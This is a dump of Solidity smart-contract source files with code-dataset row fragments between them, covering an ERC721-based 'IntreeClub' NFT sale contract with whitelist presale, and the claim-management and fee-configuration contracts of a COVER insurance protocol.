require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/IntreeClub.sol
pragma solidity ^0.7.0;
/**
* @title IntreeClub contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract IntreeClub is ERC721, Ownable {
using SafeMath for uint256;
uint256 public tokenPrice = 0.1 ether; // 0.1 ETH
uint256 public whitelistTokenPrice = 0.08 ether; // 0.08 ETH
uint public constant maxNFTPurchase = 3;
mapping(address => uint256) public addressMintedBalance;
address[] public whitelistedAddresses;
uint256 public preSaleLimit = 3;
uint256 public MAX_NFTS; // 5000
bool public saleIsActive = false;
bool public whitelistSaleIsActive = false;
constructor(string memory name, string memory symbol, uint256 maxNftSupply) ERC721(name, symbol) {
MAX_NFTS = maxNftSupply;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
/**
* Mint NFT's at current index.
*/
function reserveNFTs(uint amount, address _addr) public onlyOwner {
uint supply = totalSupply();
uint i;
for (i = 0; i < amount; i++) {
_safeMint(_addr, supply + i);
}
}
function giveNFTs(address[] calldata _users, uint amount) public onlyOwner {
require(_users.length == amount, "Amount and |addresses| must match");
uint supply = totalSupply();
uint i;
for (i = 0; i < amount; i++) {
_safeMint(_users[i], supply + i);
}
}
// Change baseURI
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
/*
* Pause sale if active, make active if paused
*/
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function flipWhitelistSaleState() public onlyOwner {
whitelistSaleIsActive = !whitelistSaleIsActive;
}
/*
* Change prices
*/
function setPrice(uint256 _newPrice) public onlyOwner {
tokenPrice = _newPrice;
}
function setWhitelistPrice(uint256 _newPrice) public onlyOwner {
whitelistTokenPrice = _newPrice;
}
// Change presale limit
function setPresaleLimit(uint256 _newLimit) public onlyOwner {
preSaleLimit = _newLimit;
}
// Replace the whitelist with a new whitelist
function createWhitelist(address[] calldata _users) public onlyOwner {
delete whitelistedAddresses;
whitelistedAddresses = _users;
}
// Add a user to the whitelist
function whitelistUser(address _users) public onlyOwner {
whitelistedAddresses.push(_users);
}
// Whitelist multiple users
function whitelistUsers(address[] calldata _users) public onlyOwner {
for (uint i = 0; i < _users.length; i++) {
whitelistedAddresses.push(_users[i]);
}
}
// Remove a user from the whitelist
function removeUser(uint idx) public onlyOwner{
delete whitelistedAddresses[idx];
}
// Check if user is whitelisted. Would be faster to check a hashmap in O(1)
function isWhitelisted(address _user) public view returns (bool) {
for (uint i = 0; i < whitelistedAddresses.length; i++) {
if (whitelistedAddresses[i] == _user) {
return true;
}
}
return false;
}
// Query owned tokens of address
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
/**
* Mints NFTs
*/
function mintNFT(uint numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint NFT");
require(numberOfTokens > 0, "You must mint at least one Intree Card");
require(numberOfTokens <= maxNFTPurchase, "Can only mint 3 Intree cards at a time");
require(totalSupply().add(numberOfTokens) <= MAX_NFTS, "Purchase would exceed max supply of NFTs");
require(tokenPrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct");
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_NFTS) {
_safeMint(msg.sender, mintIndex);
}
}
}
/**
* Mints NFTs for whitelisted users
*/
function premintNFT(uint numberOfTokens) public payable {
require(whitelistSaleIsActive, "Sale must be active to mint NFT");
require(numberOfTokens > 0, "You must mint at least one Intree Card");
require(isWhitelisted(msg.sender), "User is not whitelisted");
require(totalSupply().add(numberOfTokens) <= MAX_NFTS, "Purchase would exceed max supply of NFTs");
require(whitelistTokenPrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + numberOfTokens <= preSaleLimit, "Max NFT per address exceeded");
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_NFTS) {
_safeMint(msg.sender, mintIndex);
addressMintedBalance[msg.sender]++;
}
}
}
}
|
Add a user to the whitelist
|
function whitelistUser(address _users) public onlyOwner {
whitelistedAddresses.push(_users);
}
| 10,611,609
|
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./partial_match/1/0xD8782BB636294f6894fB5B9b0F5d7E44F1b7CD2E/sources/BTCKimpl.sol
|
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: @param spender The address which will spend the funds. @param value The amount of tokens to be spent./
|
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
| 15,491,139
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC20/SafeERC20.sol";
import "./ClaimConfig.sol";
import "./interfaces/ICoverPool.sol";
import "./interfaces/ICoverPoolFactory.sol";
import "./interfaces/IClaimManagement.sol";
/**
* @title Claim Management for claims filed for a COVER supported coverPool
* @author Alan + crypto-pumpkin
*/
contract ClaimManagement is IClaimManagement, ClaimConfig {
using SafeERC20 for IERC20;
// the redeem delay for a cover when there is a pending claim
uint256 public constant PENDING_CLAIM_REDEEM_DELAY = 10 days;
// coverPool => nonce => Claim[]
mapping(address => mapping(uint256 => Claim[])) private coverPoolClaims;
constructor(
address _feeCurrency,
address _treasury,
address _coverPoolFactory,
address _defaultCVC
) {
require(_feeCurrency != address(0), "CM: fee cannot be 0");
require(_treasury != address(0), "CM: treasury cannot be 0");
require(_coverPoolFactory != address(0), "CM: factory cannot be 0");
require(_defaultCVC != address(0), "CM: defaultCVC cannot be 0");
feeCurrency = IERC20(_feeCurrency);
treasury = _treasury;
coverPoolFactory = ICoverPoolFactory(_coverPoolFactory);
defaultCVC = _defaultCVC;
initializeOwner();
}
/// @notice File a claim for a Cover Pool, `_incidentTimestamp` must be within allowed time window
function fileClaim(
string calldata _coverPoolName,
bytes32[] calldata _exploitRisks,
uint48 _incidentTimestamp,
string calldata _description,
bool isForceFile
) external override {
address coverPool = _getCoverPoolAddr(_coverPoolName);
require(coverPool != address(0), "CM: pool not found");
require(block.timestamp - _incidentTimestamp <= coverPoolFactory.defaultRedeemDelay() - TIME_BUFFER, "CM: time passed window");
ICoverPool(coverPool).setNoclaimRedeemDelay(PENDING_CLAIM_REDEEM_DELAY);
uint256 nonce = _getCoverPoolNonce(coverPool);
uint256 claimFee = isForceFile ? forceClaimFee : getCoverPoolClaimFee(coverPool);
feeCurrency.safeTransferFrom(msg.sender, address(this), claimFee);
_updateCoverPoolClaimFee(coverPool);
ClaimState state = isForceFile ? ClaimState.ForceFiled : ClaimState.Filed;
coverPoolClaims[coverPool][nonce].push(Claim({
filedBy: msg.sender,
decidedBy: address(0),
filedTimestamp: uint48(block.timestamp),
incidentTimestamp: _incidentTimestamp,
decidedTimestamp: 0,
description: _description,
state: state,
feePaid: claimFee,
payoutRiskList: _exploitRisks,
payoutRates: new uint256[](_exploitRisks.length)
}));
emit ClaimUpdate(coverPool, state, nonce, coverPoolClaims[coverPool][nonce].length - 1);
}
/**
* @notice Validates whether claim will be passed to CVC to decideClaim
* @param _coverPool address: contract address of the coverPool that COVER supports
* @param _nonce uint256: nonce of the coverPool
* @param _index uint256: index of the claim
* @param _claimIsValid bool: true if claim is valid and passed to CVC, false otherwise
* Emits ClaimUpdate
*/
function validateClaim(
address _coverPool,
uint256 _nonce,
uint256 _index,
bool _claimIsValid
) external override onlyOwner {
Claim storage claim = coverPoolClaims[_coverPool][_nonce][_index];
require(_index < coverPoolClaims[_coverPool][_nonce].length, "CM: bad index");
require(_nonce == _getCoverPoolNonce(_coverPool), "CM: wrong nonce");
require(claim.state == ClaimState.Filed, "CM: claim not filed");
if (_claimIsValid) {
claim.state = ClaimState.Validated;
_resetCoverPoolClaimFee(_coverPool);
} else {
claim.state = ClaimState.Invalidated;
claim.decidedTimestamp = uint48(block.timestamp);
feeCurrency.safeTransfer(treasury, claim.feePaid);
_resetNoclaimRedeemDelay(_coverPool, _nonce);
}
emit ClaimUpdate({
coverPool: _coverPool,
state: claim.state,
nonce: _nonce,
index: _index
});
}
/// @notice Decide whether claim for a coverPool should be accepted(will payout) or denied, ignored _incidentTimestamp == 0
function decideClaim(
address _coverPool,
uint256 _nonce,
uint256 _index,
uint48 _incidentTimestamp,
bool _claimIsAccepted,
bytes32[] calldata _exploitRisks,
uint256[] calldata _payoutRates
) external override {
require(_exploitRisks.length == _payoutRates.length, "CM: arrays len don't match");
require(isCVCMember(_coverPool, msg.sender), "CM: !cvc");
require(_nonce == _getCoverPoolNonce(_coverPool), "CM: wrong nonce");
Claim storage claim = coverPoolClaims[_coverPool][_nonce][_index];
require(claim.state == ClaimState.Validated || claim.state == ClaimState.ForceFiled, "CM: ! validated or forceFiled");
if (_incidentTimestamp != 0) {
require(claim.filedTimestamp - _incidentTimestamp <= coverPoolFactory.defaultRedeemDelay() - TIME_BUFFER, "CM: time passed window");
claim.incidentTimestamp = _incidentTimestamp;
}
uint256 totalRates = _getTotalNum(_payoutRates);
if (_claimIsAccepted && !_isDecisionWindowPassed(claim)) {
require(totalRates > 0 && totalRates <= 1 ether, "CM: payout % not in (0%, 100%]");
feeCurrency.safeTransfer(claim.filedBy, claim.feePaid);
_resetCoverPoolClaimFee(_coverPool);
claim.state = ClaimState.Accepted;
claim.payoutRiskList = _exploitRisks;
claim.payoutRates = _payoutRates;
ICoverPool(_coverPool).enactClaim(claim.payoutRiskList, claim.payoutRates, claim.incidentTimestamp, _nonce);
} else { // Max decision claim window passed, claim is default to Denied
require(totalRates == 0, "CM: claim denied (default if passed window), but payoutNumerator != 0");
feeCurrency.safeTransfer(treasury, claim.feePaid);
claim.state = ClaimState.Denied;
}
_resetNoclaimRedeemDelay(_coverPool, _nonce);
claim.decidedBy = msg.sender;
claim.decidedTimestamp = uint48(block.timestamp);
emit ClaimUpdate(_coverPool, claim.state, _nonce, _index);
}
function getCoverPoolClaims(address _coverPool, uint256 _nonce, uint256 _index) external view override returns (Claim memory) {
return coverPoolClaims[_coverPool][_nonce][_index];
}
/// @notice Get all claims for coverPool `_coverPool` and nonce `_nonce` in state `_state`
function getAllClaimsByState(address _coverPool, uint256 _nonce, ClaimState _state)
external view override returns (Claim[] memory)
{
Claim[] memory allClaims = coverPoolClaims[_coverPool][_nonce];
uint256 count;
Claim[] memory temp = new Claim[](allClaims.length);
for (uint i = 0; i < allClaims.length; i++) {
if (allClaims[i].state == _state) {
temp[count] = allClaims[i];
count++;
}
}
Claim[] memory claimsByState = new Claim[](count);
for (uint i = 0; i < count; i++) {
claimsByState[i] = temp[i];
}
return claimsByState;
}
/// @notice Get all claims for coverPool `_coverPool` and nonce `_nonce`
function getAllClaimsByNonce(address _coverPool, uint256 _nonce) external view override returns (Claim[] memory) {
return coverPoolClaims[_coverPool][_nonce];
}
/// @notice Get whether a pending claim for coverPool `_coverPool` and nonce `_nonce` exists
function hasPendingClaim(address _coverPool, uint256 _nonce) public view override returns (bool) {
Claim[] memory allClaims = coverPoolClaims[_coverPool][_nonce];
for (uint i = 0; i < allClaims.length; i++) {
ClaimState state = allClaims[i].state;
if (state == ClaimState.Filed || state == ClaimState.ForceFiled || state == ClaimState.Validated) {
return true;
}
}
return false;
}
function _resetNoclaimRedeemDelay(address _coverPool, uint256 _nonce) private {
if (hasPendingClaim(_coverPool, _nonce)) return;
uint256 defaultRedeemDelay = coverPoolFactory.defaultRedeemDelay();
ICoverPool(_coverPool).setNoclaimRedeemDelay(defaultRedeemDelay);
}
function _getCoverPoolAddr(string calldata _coverPoolName) private view returns (address) {
return coverPoolFactory.coverPools(_coverPoolName);
}
function _getCoverPoolNonce(address _coverPool) private view returns (uint256) {
return ICoverPool(_coverPool).claimNonce();
}
// The times passed since the claim was filed has to be less than the max claim decision window
function _isDecisionWindowPassed(Claim memory claim) private view returns (bool) {
return block.timestamp - claim.filedTimestamp > maxClaimDecisionWindow;
}
function _getTotalNum(uint256[] calldata _payoutRates) private pure returns (uint256 _totalRates) {
for (uint256 i = 0; i < _payoutRates.length; i++) {
_totalRates = _totalRates + _payoutRates[i];
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./utils/Ownable.sol";
import "./interfaces/IClaimConfig.sol";
import "./interfaces/ICoverPool.sol";
import "./interfaces/ICoverPoolFactory.sol";
/**
* @title Config for ClaimManagement contract
* @author Alan + crypto-pumpkin
*/
contract ClaimConfig is IClaimConfig, Ownable {
IERC20 public override feeCurrency;
address public override treasury;
ICoverPoolFactory public override coverPoolFactory;
address public override defaultCVC; // if not specified, default to this
uint256 internal constant TIME_BUFFER = 1 hours;
// The max time allowed from filing a claim to a decision made, 1 hr buffer for calling
uint256 public override maxClaimDecisionWindow = 7 days - TIME_BUFFER;
uint256 public override baseClaimFee = 50e18;
uint256 public override forceClaimFee = 500e18;
uint256 public override feeMultiplier = 2;
// coverPool => claim fee
mapping(address => uint256) private coverPoolClaimFee;
// coverPool => cvc addresses
mapping(address => address[]) public override cvcMap;
function setTreasury(address _treasury) external override onlyOwner {
require(_treasury != address(0), "CC: treasury cannot be 0");
treasury = _treasury;
}
/// @notice Set max time window allowed to decide a claim after filed
function setMaxClaimDecisionWindow(uint256 _newTimeWindow) external override onlyOwner {
require(_newTimeWindow > 0, "CC: window too short");
maxClaimDecisionWindow = _newTimeWindow;
}
function setDefaultCVC(address _cvc) external override onlyOwner {
require(_cvc != address(0), "CC: default CVC cannot be 0");
defaultCVC = _cvc;
}
/// @notice Add CVC groups for multiple coverPools
function addCVCForPools(address[] calldata _coverPools, address[] calldata _cvcs) external override onlyOwner {
require(_coverPools.length == _cvcs.length, "CC: lengths don't match");
for (uint256 i = 0; i < _coverPools.length; i++) {
_addCVCForPool(_coverPools[i], _cvcs[i]);
}
}
/// @notice Remove CVC groups for multiple coverPools
function removeCVCForPools(address[] calldata _coverPools, address[] calldata _cvcs) external override onlyOwner {
require(_coverPools.length == _cvcs.length, "CC: lengths don't match");
for (uint256 i = 0; i < _coverPools.length; i++) {
_removeCVCForPool(_coverPools[i], _cvcs[i]);
}
}
function setFeeAndCurrency(uint256 _baseClaimFee, uint256 _forceClaimFee, address _currency) external override onlyOwner {
require(_currency != address(0), "CC: feeCurrency cannot be 0");
require(_baseClaimFee > 0, "CC: baseClaimFee <= 0");
require(_forceClaimFee > _baseClaimFee, "CC: force Fee <= base Fee");
baseClaimFee = _baseClaimFee;
forceClaimFee = _forceClaimFee;
feeCurrency = IERC20(_currency);
}
function setFeeMultiplier(uint256 _multiplier) external override onlyOwner {
require(_multiplier >= 1, "CC: multiplier must be >= 1");
feeMultiplier = _multiplier;
}
/// @notice return the whole list so dont need to query by index
function getCVCList(address _coverPool) external view override returns (address[] memory) {
return cvcMap[_coverPool];
}
function isCVCMember(address _coverPool, address _address) public view override returns (bool) {
address[] memory cvcCopy = cvcMap[_coverPool];
if (cvcCopy.length == 0 && _address == defaultCVC) return true;
for (uint256 i = 0; i < cvcCopy.length; i++) {
if (_address == cvcCopy[i]) {
return true;
}
}
return false;
}
function getCoverPoolClaimFee(address _coverPool) public view override returns (uint256) {
return coverPoolClaimFee[_coverPool] < baseClaimFee ? baseClaimFee : coverPoolClaimFee[_coverPool];
}
// Add CVC group for a coverPool if `_cvc` isn't already added
function _addCVCForPool(address _coverPool, address _cvc) private onlyOwner {
address[] memory cvcCopy = cvcMap[_coverPool];
for (uint256 i = 0; i < cvcCopy.length; i++) {
require(cvcCopy[i] != _cvc, "CC: cvc exists");
}
cvcMap[_coverPool].push(_cvc);
}
function _removeCVCForPool(address _coverPool, address _cvc) private {
address[] memory cvcCopy = cvcMap[_coverPool];
uint256 len = cvcCopy.length;
if (len < 1) return; // nothing to remove, no need to revert
for (uint256 i = 0; i < len; i++) {
if (_cvc == cvcCopy[i]) {
cvcMap[_coverPool][i] = cvcCopy[len - 1];
cvcMap[_coverPool].pop();
break;
}
}
}
// Updates fee for coverPool `_coverPool` by multiplying current fee by `feeMultiplier`, capped at `forceClaimFee`
function _updateCoverPoolClaimFee(address _coverPool) internal {
uint256 newFee = getCoverPoolClaimFee(_coverPool) * feeMultiplier;
if (newFee <= forceClaimFee) {
coverPoolClaimFee[_coverPool] = newFee;
}
}
// Resets fee for coverPool `_coverPool` to `baseClaimFee`
function _resetCoverPoolClaimFee(address _coverPool) internal {
coverPoolClaimFee[_coverPool] = baseClaimFee;
}
}
// SPDX-License-Identifier: No License
pragma solidity ^0.8.0;
/**
* @dev CoverPool contract interface. See {CoverPool}.
* @author crypto-pumpkin
*/
interface ICoverPool {
event CoverCreated(address indexed);
event CoverAdded(address indexed _cover, address _acount, uint256 _amount);
event NoclaimRedeemDelayUpdated(uint256 _oldDelay, uint256 _newDelay);
event ClaimEnacted(uint256 _enactedClaimNonce);
event RiskUpdated(bytes32 _risk, bool _isAddRisk);
event PoolStatusUpdated(Status _old, Status _new);
event ExpiryUpdated(uint48 _expiry, string _expiryStr, Status _status);
event CollateralUpdated(address indexed _collateral, uint256 _mintRatio, Status _status);
enum Status { Null, Active, Disabled }
struct ExpiryInfo {
string name;
Status status;
}
struct CollateralInfo {
uint256 mintRatio;
Status status;
}
struct ClaimDetails {
uint48 incidentTimestamp;
uint48 claimEnactedTimestamp;
uint256 totalPayoutRate;
bytes32[] payoutRiskList;
uint256[] payoutRates;
}
// state vars
function name() external view returns (string memory);
function extendablePool() external view returns (bool);
function poolStatus() external view returns (Status _status);
/// @notice only active (true) coverPool allows adding more covers (aka. minting more CLAIM and NOCLAIM tokens)
function claimNonce() external view returns (uint256);
function noclaimRedeemDelay() external view returns (uint256);
function addingRiskWIP() external view returns (bool);
function addingRiskIndex() external view returns (uint256);
function activeCovers(uint256 _index) external view returns (address);
function allCovers(uint256 _index) external view returns (address);
function expiries(uint256 _index) external view returns (uint48);
function collaterals(uint256 _index) external view returns (address);
function riskList(uint256 _index) external view returns (bytes32);
function deletedRiskList(uint256 _index) external view returns (bytes32);
function riskMap(bytes32 _risk) external view returns (Status);
